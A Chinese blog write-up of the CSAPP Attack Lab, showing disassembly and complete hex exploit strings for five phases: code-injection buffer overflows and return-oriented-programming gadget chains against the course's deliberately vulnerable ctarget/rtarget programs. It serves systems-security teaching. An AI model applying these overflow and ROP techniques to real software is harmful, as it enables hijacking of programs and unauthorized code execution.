目录

  • 用到的指令
  • 第一部分:Code Injection Attacks
    • phase 1
    • phase 2
    • phase 3
  • 第二部分:Return-Oriented Programming Attacks
    • phase 4
    • phase 5

用到的指令

名字 用途
./hew2raw <1.txt> p1.txt 将攻击字符串转化为可读取格式
gcc -c 1.s 编译生成1.o文件
objdump -d 1.o(or ctarget)>1.txt 反汇编输出含机器码的语句
./ctarget -qi 1.txt 运行1.txt里的内容
touch 1.txt 创建1.txt文件
gdb ctarget 编译文件
break *0x409823 在该地址处设置断点

第一部分:Code Injection Attacks

简介:

程序被设置成栈的位置每次执行都一样,因此栈上的数据就可以等效于可执行代码,使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。

getbuf内容:

00000000004017a8 <getbuf>:4017a8:   48 83 ec 28             sub    $0x28,%rsp4017ac:   48 89 e7                mov    %rsp,%rdi4017af:   e8 8c 02 00 00          callq  401a40 <Gets>4017b4:   b8 01 00 00 00          mov    $0x1,%eax4017b9:   48 83 c4 28             add    $0x28,%rsp4017bd:   c3                      retq   4017be:   90                      nop4017bf:   90                      nop

漏洞造成:gets读取函数对字符串没有长度限制,当callq时,返回地址在读取信息位置的高字节处,如果读取字符串过长,就会覆盖返回地址,使其无法返回getbuf。

了解栈的信息:
栈的字节大小为0x28
本阶段栈的地址又是多少呢?根据汇编代码容易得出,地址存放在%rsp中。于是设置断点,查看该寄存器。

栈指针地址是0x5561dc78
栈的图像如图所示:

phase 1

要求:getbuf返回时执行touch1

思路:如上图,getbuf函数执行ret指令后,就会从rsp+0x28处获取返回地址,因此只需要修改地址使其为touch1的地址即可。(touch1地址在反汇编文件中查看)

答案:(小端排列,提交时用hex2raw函数转换)

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

(注:答案的地址顺序是从低地址到高地址(栈顶),初始地址为rsp所指向地址。而读取顺序则是按正常阅读顺序)

phase 2

要求:getbuf返回时执行touch2,touch2的参数是cookie(查看文件,得值为0x59b997fa)。

思路:参数是由%rdi传递的,故应该将%rdi赋值为cookie,再将ret返回地址覆盖为touch2地址(0x4017ec)。

需要的语句:

movq $0x59b997fa,%rdi
pushq  $0x4017ec//将返回地址压入栈(模拟callq过程)
ret//读取返回地址并返回

利用命令转化为机器码:

可以得到所需机器码如右侧。

答案:

//命令编码
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
//rsp地址(即跳到输入首行而不是返回getbuf)

phase 3

要求:执行完getbuf后执行touch3,而touch3的参数是一个地址,地址的内容是cookie

思路:首先先将之前获取的cookie转化为16进制字符。0x59b997fa转化为35 39 62 39 39 37 66 61 。

接着要找到一个地方存放字符串cookie,是否能将其直接放在栈的内部呢?查看touch3内容:

000000000040184c <hexmatch>:40184c:    41 54                   push   %r1240184e:  55                      push   %rbp40184f:  53                      push   %rbx401850:  48 83 c4 80             add    $0xffffffffffffff80,%rsp...00000000004018fa <touch3>:4018fa:   53                      push   %rbx4018fb:  48 89 fb                mov    %rdi,%rbx4018fe: c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>401905:    00 00 00 401908:    48 89 fe                mov    %rdi,%rsi40190b: 8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>401911:    e8 36 ff ff ff          callq  40184c <hexmatch>...

由上面这部分指令可知,在调用touch3时,栈会继续向下增长从而覆盖touch3地址以下的内容,所以要将目标字符串放在touch3的高字节部分。

于是考虑将字符串放在返回地址(栈外)的高字节位置。经过计算得到地址为0x5561dca8,汇编代码为:

答案:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 #首行地址
35 39 62 39 39 37 66 61 #字符串内容
00 00 00 00

第二部分:Return-Oriented Programming Attacks

简介:

采用以下两种技术对抗攻击:

  • 随机化,每次运行栈的位置都不同,所以无法决定注入代码应放位置。
  • 保存栈的内存区域设置为不可执行,所以即使能够把注入的代码的起始地址放入程序计数器中,程序也会报段错误失败。

方法:

通过现有程序中的代码而不是注入新的代码来实现攻击。
0xc3ret指令的编码

In this figure, the stack contains a sequence of gadget addresses. Each gadget consists of a series of instruction bytes, with the final one being 0xc3. When the program executes a ret instruction starting with this configuration, it will initiate a chain of gadget executions, with the ret instruction at the end of each gadget causing the program to jump to the beginning of the next.

命令编码:

根据需要的机器码查找相应gadget的地址。

phase 4

要求:用ROP方法重做phase 2。

思路:回顾2的汇编代码:

movq $0x59b997fa,%rdi
pushq  $0x4017ec//将返回地址压入栈(模拟callq过程)
ret//读取返回地址并返回

下面是寻找gadget过程:(farm中寻找)

00000000004019a7 <addval_219>: 4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax4019ad:   c3                      retq

58 90 c3 代表了:

popq %rax #0x4019ab
nop
ret
00000000004019a0 <addval_273>:4019a0:  8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax4019a6:    c3                      retq

48 89 c7代表:

movq %rax,%rdi #0x4019a2

答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 #popq %rax
fa 97 b9 59 00 00 00 00 #popq content
a2 19 40 00 00 00 00 00 #movq %rax,%rdi
ec 17 40 00 00 00 00 00 #touch2

phase 5

要求:用ROP完成phase 3。

思路:由于不能直接获取栈的地址,所以考虑利用相对位置关系放置字串。

寻找gadget:

0000000000401a03 <addval_190>:401a03:  8d 87 41 48 89 e0       lea    -0x1f76b7bf(%rdi),%eax401a09:    c3                      retq

字段:

0x401a06 48 89 e0    #movq %rsp,%rax
00000000004019c3 <setval_426>:4019c3:  c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)4019c9:    c3                      retq

字段:

0x4019c5 48 89 c7     #movq %rax,%rdi
00000000004019a7 <addval_219>:4019a7:  8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax4019ad:    c3                      retq

字段:

0x4019ab 58   #popq %rax
00000000004019db <getval_481>:4019db:  b8 5c 89 c2 90          mov    $0x90c2895c,%eax4019e0:  c3                      retq

字段:

0x4019dd 89 c2    #movl %eax,%edx
0000000000401a33 <getval_159>:401a33:  b8 89 d1 38 c9          mov    $0xc938d189,%eax401a38:  c3                      retq

字段:

0x401a34 89 d1  #movl %edx,%rcx
0000000000401a11 <addval_436>:401a11:  8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax401a17:    c3                      retq

字段:

0x401a13 89 ce   #movl %ecx,%esi

答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #rsp
06 1a 40 00 00 00 00 00 #movq %rsp,%rax
c5 19 40 00 00 00 00 00 #movq %rax,%rdi
ab 19 40 00 00 00 00 00 #popq %rax
48 00 00 00 00 00 00 00 #偏移量:从rsp到字符串的位置
dd 19 40 00 00 00 00 00 #movl %eax,%edx
34 1a 40 00 00 00 00 00 #movl %edx,%ecx
13 1a 40 00 00 00 00 00 #movl %ecx,%rsi
d6 19 40 00 00 00 00 00 #lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00 #movq %rax,%rdi
fa 18 40 00 00 00 00 00 #touch3
35 39 62 39 39 37 66 61

深入理解计算机系统(3)——attack lab相关推荐

  1. 深入理解计算机系统|Attack Lab

    文章目录 Code Injection Phase_1 Phase_2 Phase_3 R O P Phase_4 Phase_5 小结 Code Injection Phase_1 任务 执行完 g ...

  2. 深入理解计算机系统(CSAPP)含lab详解 完结

    文章目录 深入理解计算机操作系统-第一章 1.1 信息就是位 + 上下文 1.2 程序被其他程序翻译成不同的格式 1.3 了解编译系统如何工作是大有益处的 1.4 处理器读并解释储存在内存中的指令 1 ...

  3. 《深入理解计算机系统》实验二Bomb Lab下载和官方文档机翻

    前言 <深入理解计算机系统>官网:http://csapp.cs.cmu.edu/3e/labs.html 该篇文章是实验二Bomb Lab的Writeup机翻. 原文:http://cs ...

  4. 《深入理解计算机系统》实验二Bomb Lab

    前言 <深入理解计算机系统>实验二Bomb Lab的下载和官网文档的机翻请看 <深入理解计算机系统>实验二Bomb Lab下载和官方文档机翻 用的调试工具是gdb,用到的指令如 ...

  5. 《深入理解计算机系统》实验四Architecture Lab下载和官方文档机翻

    前言 <深入理解计算机系统>官网:http://csapp.cs.cmu.edu/3e/labs.html 该篇文章是是实验四Architecture Lab中的Writeup(archl ...

  6. 《深入理解计算机系统》Y86-64实验四Architecture Lab环境安装

    前言 第四章提到的Y86-64和实验四Architecture Lab的环境安装. 先从官网下载文件: <深入理解计算机系统>官网:http://csapp.cs.cmu.edu/3e/l ...

  7. 《深入理解计算机系统》:Cache Lab

    第1关:Part A 任务描述 本关任务:完成csim.c文件,实现一个cache simulator,模拟Cache的访问过程.替换算法采用最近最少使用替换策略(LRU). 可参考资料:官网实验文档 ...

  8. CSAPP:Attack lab

    关注公号[逆向通信猿]更精彩!!! 原文地址:https://www.jianshu.com/p/db731ca57342 本文介绍的是CSAPP书籍中的第三个lab: Attack lab.通过这个 ...

  9. csapp attack lab

    实验内容 进行5次攻击,前三个leve为代码注入攻击,后两个为面向返回编程. 实验文件 README.txt:描述目录内容的文件 ctarget:易受代码注入攻击的可执行程序 rtarget:易受面向 ...

最新文章

  1. 在react-native中使用redux框架
  2. Linux 命令 —— iostat I/O 和 CPU 监视工具
  3. java文件流null_JAVA 获取资源文件对象为NULL
  4. ABAP的自学之路 ,初步认识ABAP 一
  5. 创建maven项目多模块项目
  6. QT每日一练day16:QMessageBox消息对话框
  7. 人工智能TensorFlow工作笔记005---计算图的基本应用_认识计算图
  8. Advanced User Administration
  9. FreeSwitch Lua编程接口(1)dialplan里的配置
  10. 阿里云服务器mysql莫名丢失_MySQL5.6 突然死掉 阿里云端的 服务器上搭建的
  11. 单价数量和总价的公式_小学数学量的计算单位及常用公式表
  12. HTML 转义字符表
  13. 重命名从喜马拉雅下载的音频文件
  14. 如何一下清空微信好友_微信清理好友方法|微信如何正确清理已删除你的微信好友 微信清理好友方法介绍_东坡下载...
  15. 使用网络模拟器 Packet Tracer和交换机的端口配置与管理及Telnet远程登陆配置
  16. XXE(外部实体注入)| PortSwigger(burpsuite官方靶场)| Part 3
  17. 六年软件测试感悟 从博彦到VMware
  18. 初中学历可以做原画师吗?原画师需要绘画基础吗
  19. 机器人系统设计与制作:Python语言实现2.4 用LibreCAD生成机器人的二维CAD图
  20. 利用gensim构建word2vec词向量模型并保存词向量

热门文章

  1. Layaair DragonBones 龙骨动画的播放
  2. 【三维语义分割】PointNet详解(一)
  3. 手机网页导出html代码吗,手机和网页复制文档的方法,你不得不佩服的神操作!...
  4. 锻炼自己的口才和交际能力
  5. graalvm把java编译为c/c++能够使用的动态库(dll/so)
  6. CSAPP: bomb lab
  7. 在中国使用谷歌语音识别_如何在Google文档中使用语音输入
  8. 电路分析基础复习整理
  9. 《电路分析基础》第7章 正弦稳态电路 读书笔记
  10. 从事云计算专业,需要了解的几个概念